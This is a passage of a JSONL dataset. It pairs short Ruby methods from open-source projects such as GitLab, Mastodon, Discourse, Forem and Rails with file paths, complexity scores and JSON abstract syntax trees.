ype\":\"const\",\"children\":[null,\"RuboCop\"]},\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No such file or directory: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"config=\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"registry=\",{\"type\":\"send\",\"children\":[null,\"mobilized_cop_classes\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"lvar\",\"children\":[\"processed_source\"]}]}]}","id":"e2fd2d69-80a7-484c-892a-d94982595473"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/forwarder.rb","start_line":34,"raw_source":"def shared_by_account_ids\n reblogged_by_account_ids.concat(quoted_by_account_ids)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_by_account_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reblogged_by_account_ids\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"quoted_by_account_ids\"]}]}]}","id":"d62b73c5-eb98-4d83-af99-1e5f3da7b172"} {"repo_name":"forem","file_path":"./repos/forem/spec/services/edge_cache/bust_spec.rb","start_line":100,"raw_source":"def stub_fastly\n allow(ApplicationConfig).to receive(:[]).with(\"FASTLY_API_KEY\").and_return(nil)\n allow(ApplicationConfig).to receive(:[]).with(\"FASTLY_SERVICE_ID\").and_return(nil)\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_fastly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"[]\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"FASTLY_API_KEY\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"[]\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"FASTLY_SERVICE_ID\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"1e10f868-20f0-4221-a914-67b0a213090f"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_request_template.rb","start_line":24,"raw_source":"def post_create(_auto_approve)\n update(:description => \"Miq Provision Request Template for #{source.name}\")\n self\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"post_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_auto_approve\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Miq Provision Request Template for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"name\"]}]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"7d04de76-754b-4d88-be5b-6c072864dfcc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/wait_for_requests.rb","start_line":64,"raw_source":"def finished_all_rack_requests?\n Gitlab::Testing::RequestBlockerMiddleware.num_active_requests == 0\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finished_all_rack_requests?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Testing\"]},\"RequestBlockerMiddleware\"]},\"num_active_requests\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"2b4c54a6-5b18-460e-bd6d-8d3427bdb6e9"} {"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/wikipedia_tag.rb","start_line":72,"raw_source":"def handle_response_error(response, input)\n return if response.code == 200\n\n raise StandardError,\n I18n.t(\"liquid_tags.wikipedia_tag.article_not_found\", input: input, detail: (response[\"detail\"]))\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.wikipedia_tag.article_not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"detail\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"detail\"]}]}]}]}]}]}]}]}]}","id":"9b365f0e-5293-4f2b-a570-43be970c66fd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/deploy_key_resolver.rb","start_line":10,"raw_source":"def resolve_with_lookahead(**args)\n apply_lookahead(Autocomplete::DeployKeysWithWriteAccessFinder.new(current_user,\n object).execute(title_search_term: args[:title_query]))\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Autocomplete\"]},\"DeployKeysWithWriteAccessFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"object\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_search_term\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title_query\"]}]}]}]}]}]}]}","id":"46aa458c-9477-4143-a30a-495e77bdb42f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":766,"raw_source":"def artifacts_file\n job_artifacts_archive&.file\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_artifacts_archive\"]},\"file\"]}]}","id":"b99d26c1-2fd0-42cf-bcd0-bdc20ea0220b"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/themes_controller.rb","start_line":394,"raw_source":"def objects_setting_metadata\n theme = Theme.find_by(id: params[:id])\n raise Discourse::InvalidParameters.new(:id) unless theme\n\n theme_setting = theme.settings[params[:setting_name].to_sym]\n raise Discourse::InvalidParameters.new(:setting_name) unless theme_setting\n\n render_serialized(theme_setting, ThemeObjectsSettingMetadataSerializer, root: false)\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"objects_setting_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theme\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"theme_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"settings\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"setting_name\"]}]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_setting\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"setting_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"theme_setting\"]},{\"type\":\"const\",\"children\":[null,\"ThemeObjectsSettingMetadataSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"404ab818-c179-4b4f-8726-31c0ff243de9"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":184,"raw_source":"def set?\n !!credentials && credentials.set?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credentials\"]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credentials\"]},\"set?\"]}]}]}","id":"a586fedc-f055-4c81-98ec-c1cea6557dd8"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_enterprise.rb","start_line":55,"raw_source":"def hosts\n Host.where.not(:ems_id => nil)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hosts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"162c49fe-39e7-4813-9b38-7e505468a2de"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1013,"raw_source":"def new_user?\n (created_at >= 24.hours.ago || trust_level == TrustLevel[0]) && trust_level < TrustLevel[2] &&\n !staff?\n end","complexity_score":20.25,"ast_json":"{\"type\":\"def\",\"children\":[\"new_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_at\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]},\"ago\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trust_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trust_level\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"staff?\"]},\"!\"]}]}]}","id":"7648c118-f267-4043-bb7c-aee9cdec25fb"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/generators/spree/cursor_rules/cursor_rules_generator.rb","start_line":5,"raw_source":"def self.source_paths\n paths = superclass.source_paths\n paths << File.expand_path('templates', __dir__)\n paths.flatten\n end","complexity_score":7.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"source_paths\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"templates\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"flatten\"]}]}]}","id":"ce80483a-e0c2-4de7-8d79-7d25ccc3f0f5"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/cert_option.rb","start_line":138,"raw_source":"def cert_option_add_extensions(cert, extensions)\n ef = OpenSSL::X509::ExtensionFactory.new\n extensions.each do |ext|\n oid, value = ext\n cert.add_extension ef.create_extension(oid, value)\n end\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cert_option_add_extensions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert\"]},{\"type\":\"arg\",\"children\":[\"extensions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ef\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"ExtensionFactory\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extensions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oid\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert\"]},\"add_extension\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ef\"]},\"create_extension\",{\"type\":\"lvar\",\"children\":[\"oid\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}","id":"0fb36aea-bf25-4977-b89c-ba6be74e2eb4"} {"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/test_cref_map.rb","start_line":18,"raw_source":"def initialize_map\n @map[@cref_mx] = \"mx\"\n @map[@cref_my] = \"my\"\n @map[@cref_nx] = \"nx\"\n @map[@cref_ny] = \"ny\"\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@cref_mx\"]},{\"type\":\"str\",\"children\":[\"mx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@cref_my\"]},{\"type\":\"str\",\"children\":[\"my\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@cref_nx\"]},{\"type\":\"str\",\"children\":[\"nx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@cref_ny\"]},{\"type\":\"str\",\"children\":[\"ny\"]}]}]}]}","id":"51cc6fba-c7c6-43a7-8e16-10ff487846dc"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/audience_segments_controller.rb","start_line":78,"raw_source":"def pagination_params\n per_page_param = params[:per_page] || DEFAULT_PER_PAGE\n max_per_page = ApplicationConfig[\"API_PER_PAGE_MAX\"] || 1000\n per_page = [per_page_param, max_per_page].map(&:to_i).min\n\n [params[:page].to_i, per_page]\n end","complexity_score":15.98,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"per_page_param\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_per_page\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationConfig\"]},\"[]\",{\"type\":\"str\",\"children\":[\"API_PER_PAGE_MAX\"]}]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page_param\"]},{\"type\":\"lvar\",\"children\":[\"max_per_page\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"min\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}","id":"b01ca511-9a51-4755-9d5c-a73fc1a0428a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/fasp/provider.rb","start_line":124,"raw_source":"def delivery_failure_tracker\n @delivery_failure_tracker ||= DeliveryFailureTracker.new(base_url, resolution: :minutes)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delivery_failure_tracker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@delivery_failure_tracker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeliveryFailureTracker\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"base_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolution\"]},{\"type\":\"sym\",\"children\":[\"minutes\"]}]}]}]}]}]}","id":"6c1df4a6-87c5-415e-9bb3-e7c8c0913527"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff_collection.rb","start_line":94,"raw_source":"def overflow_max_files?\n !!@overflow_max_files\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overflow_max_files?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@overflow_max_files\"]},\"!\"]},\"!\"]}]}","id":"c09dd75b-4c61-4a7a-96bf-0a5255d31dfc"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_channel.rb","start_line":163,"raw_source":"def has_reaction?(message, emoji, text = nil)\n within(message_reactions_list(message)) do\n has_css?(\"[data-emoji-name=\\\"#{emoji}\\\"]\", text: text)\n end\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_reaction?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"emoji\"]},{\"type\":\"optarg\",\"children\":[\"text\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"message_reactions_list\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-emoji-name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emoji\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}]}","id":"e980200c-36ac-42fd-9b09-6d26d4fe25fa"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/lazy_index_component.rb","start_line":56,"raw_source":"def page_component(page)\n WorkPackages::ActivitiesTab::Journals::PageComponent\n .new(journals:, emoji_reactions: wp_journals_grouped_emoji_reactions, page:, filter:)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"page_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"ActivitiesTab\"]},\"Journals\"]},\"PageComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journals\"]},{\"type\":\"send\",\"children\":[null,\"journals\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emoji_reactions\"]},{\"type\":\"send\",\"children\":[null,\"wp_journals_grouped_emoji_reactions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[null,\"filter\"]}]}]}]}]}","id":"73b20451-d4a5-4d94-818b-bd0b0df1e4d8"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":407,"raw_source":"def test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil\n Topic.validates_length_of :title, minimum: 5, maximum: 10\n t = Topic.new\n assert_predicate t, :invalid?\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]}]}]}","id":"4b7fe25c-2375-4597-823b-56eb654d71fb"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/sub_header_component.rb","start_line":36,"raw_source":"def title # rubocop:disable Metrics/AbcSize\n case mode\n when :day\n I18n.l(date, format: :long)\n when :week, :workweek\n bow = date.beginning_of_week\n eow = date.end_of_week\n\n if bow.year == eow.year && bow.month == eow.month\n [I18n.l(bow, format: \"%d.\"), I18n.l(eow, format: \"%d. %B %Y\")].join(\" - \")\n elsif bow.year == eow.year\n [I18n.l(bow, format: \"%d. %B\"), I18n.l(eow, format: \"%d. %B %Y\")].join(\" - \")\n else\n [I18n.l(bow, format: \"%d. %B %Y\"), I18n.l(eow, format: \"%d. %B %Y\")].join(\" - \")\n end\n when :month\n I18n.l(date, format: \"%B %Y\")\n end\n end","complexity_score":48.2,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"send\",\"children\":[null,\"date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"long\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"sym\",\"children\":[\"workweek\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"beginning_of_week\"]}]},{\"type\":\"lvasgn\",\"children\":[\"eow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"end_of_week\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bow\"]},\"year\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eow\"]},\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bow\"]},\"month\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eow\"]},\"month\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"bow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"eow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d. %B %Y\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" - \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bow\"]},\"year\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eow\"]},\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"bow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d. %B\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"eow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d. %B %Y\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" - 